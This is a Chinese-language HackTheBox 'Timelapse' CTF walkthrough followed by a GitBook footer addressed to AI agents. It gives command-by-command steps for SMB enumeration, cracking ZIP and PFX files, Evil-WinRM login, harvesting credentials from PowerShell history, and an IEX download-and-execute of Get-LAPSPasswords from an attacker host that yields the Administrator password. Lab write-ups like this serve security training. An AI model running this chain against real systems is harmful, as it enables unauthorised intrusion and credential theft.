> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/timelapse-hackthebox-writeup.md). # TimeLapse HackTheBox 解题报告 {% embed url="" %} {% hint style="warning" %} **技能：** * SMB 枚举 * 破解受密码保护的 ZIP 文件（fcrackzip） * 破解并读取 .PFX 文件（crackpkcs12） * 使用 Evil-WinRM 获取 SSL 访问 * 信息泄露 - 读取用户的 PowerShell 历史记录（用户横向移动） * 滥用 LAPS 获取密码（Get-LAPSPasswords.ps1）（权限提升） {% endhint %} ## 侦察 **工作区设置：** 通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

**VPN 连接检查** 检查 VPN 连接，以确保与目标机器的稳定通信。

**使用 Nmap 发现开放端口：** ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.152 -oG allPorts ```

**使用 extractport 对开放端口进行分析：**/ 使用 extractport 函数以简洁格式显示开放端口并复制到剪贴板。

**使用 Nmap 进行端口版本扫描：**/ 使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中： ```bash nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5986,9389,49667,49673,49674,49726,59126 10.10.11.152 -oN targeted ```

#### 用于 DNS 解析的 /etc/hosts 文件配置。

## **枚举与利用：** ### 识别机器名称和域使用 CrackMapExec 识别机器名称及其域。 ```bash crackmapexec smb 10.10.11.152 ```

### 列出 SMB 共享文件：使用 smbclient 和 smbmap 列出共享文件。 ```bash smbclient -L 10.10.11.152 -N ```

```bash smbmap -H 10.10.11.152 -u 'null' ```

### **访问共享文件夹并发现受密码保护的 ZIP 文件** 探索并识别共享文件夹中的文件，发现一个受保护的 ZIP 文件。 ```bash smbclient //10.10.11.152/Shares -N ```

### **使用 fcrackzip 破解 ZIP 文件** 使用 fcrackzip 尝试查找 ZIP 文件密码。 ```bash fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt winrm_backup.zip ```

### **从 .PFX 文件提取**

```bash openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out priv-key.pem -nodes ```

### **破解 PFX 文件密码：** #### 为了破解 pfx 文件的密码，将使用 crackpkcs12 工具。 {% embed url="" %} ```bash crackpkcs12 -d /usr/share/wordlists/rockyou.txt legacyy_dev_auth.pfx ```

### **从 PFX 文件中获取私钥和证书** 恢复私钥

恢复证书 ```bash openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out certificate.pem ```

### **使用私钥和证书通过 Evil-WinRM 建立 SSL 连接**

```bash evil-winrm -i 10.10.11.152 -c certificate.pem -k priv-key.pem -S ```

### **获取第一个 flag** 获取第一个 flag，"user.txt"

## 权限提升： **使用 net users 和 whoami /priv 查看域控用户及权限** 识别域控制器上的用户和权限。

#### **分析用户组并发现用户 "svc/ deploy" 属于 "LAPS/ Readers" 组**

#### **通过读取 PowerShell 历史记录获取用户 "svc/ deploy" 的密码** ```bash type AppData/Roaming/Microsoft/Windows/PowerShell/PSReadline/ConsoleHost_history.txt ```

### **使用 CrackMapExec 验证密码** 使用 CrackMapExec 获得密码有效性的确认。 ```bash crackmapexec smb 10.10.11.152 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' ```

### **使用用户凭据 "svc/ deploy" 登录 Evil-WinRM** 使用用户凭据 "svc/ deploy" 通过 Evil-WinRM 连接到远程系统。

evil-winrm -i 10.10.11.152 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S

### **使用 Get-LAPSPasswords 提取密码** {% embed url="" %} #### **下载 Get-LAPSPasswords 脚本** ```bash python3 -m http.server 80 ``` ```bash IEX(New-object Net.WebClient).downloadString('http://10.10.16.4/Get-LAPSPasswords.ps1') ```

### **执行脚本并恢复管理员密码**

### **使用 CrackMapExec 验证管理员密码** 使用 CrackMapExec 从用户 Administrator 获得密码有效性的确认。 ```basic crackmapexec smb 10.10.11.152 -u 'Administrator' -p '32x3WwoM$8}nr+jw0Z(wz)[@' ```

### **使用管理员凭据通过 Evil-WinRM 最终连接** 通过 Evil-WinRM 使用管理员凭据最终连接到系统。 ```bash evil-winrm -i 10.10.11.152 -u 'Administrator' -p '32x3WwoM$8}nr+jw0Z(wz)[@' -S ```

### **最终获得 Flag :)**

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/timelapse-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.